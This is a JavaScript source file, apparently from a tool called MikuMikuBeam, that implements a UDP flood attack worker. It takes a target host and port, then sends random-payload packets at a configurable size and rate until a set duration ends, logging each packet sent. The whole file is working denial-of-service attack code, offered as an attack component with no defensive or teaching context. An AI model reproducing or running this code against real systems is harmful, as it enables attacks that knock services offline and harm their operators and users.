MikuMikuBeam/server/workers/udpFloodAttack.js
2025-02-26 08:38:04 +01:00

48 lines
1.5 KiB
JavaScript

import { parentPort, workerData } from "worker_threads";
import dgram from "dgram";
import { randomString } from "../utils/randomUtils.js";
const startAttack = () => {
const { target, duration, packetDelay, packetSize } = workerData;
const [targetHost, targetPort] = target.split(":");
const port = parseInt(targetPort, 10);
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
if (port < 1 || port > 65535) throw new Error("Invalid port: Should be between 1 and 65535");
const socket = dgram.createSocket("udp4");
let totalPackets = 0;
const startTime = Date.now();
const sendPacket = () => {
const elapsedTime = (Date.now() - startTime) / 1000;
if (elapsedTime >= duration) {
socket.close();
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}
const message = randomString(packetSize);
socket.send(message, port, targetHost, (err) => {
if (err) {
parentPort.postMessage({
log: `❌ Packet failed to ${targetHost}:${port}: ${err.message}`,
totalPackets,
});
} else {
totalPackets++;
parentPort.postMessage({
log: `✅ Packet sent to ${targetHost}:${port}`,
totalPackets,
});
}
});
};
setInterval(sendPacket, packetDelay);
};
if (workerData) {
startAttack();
}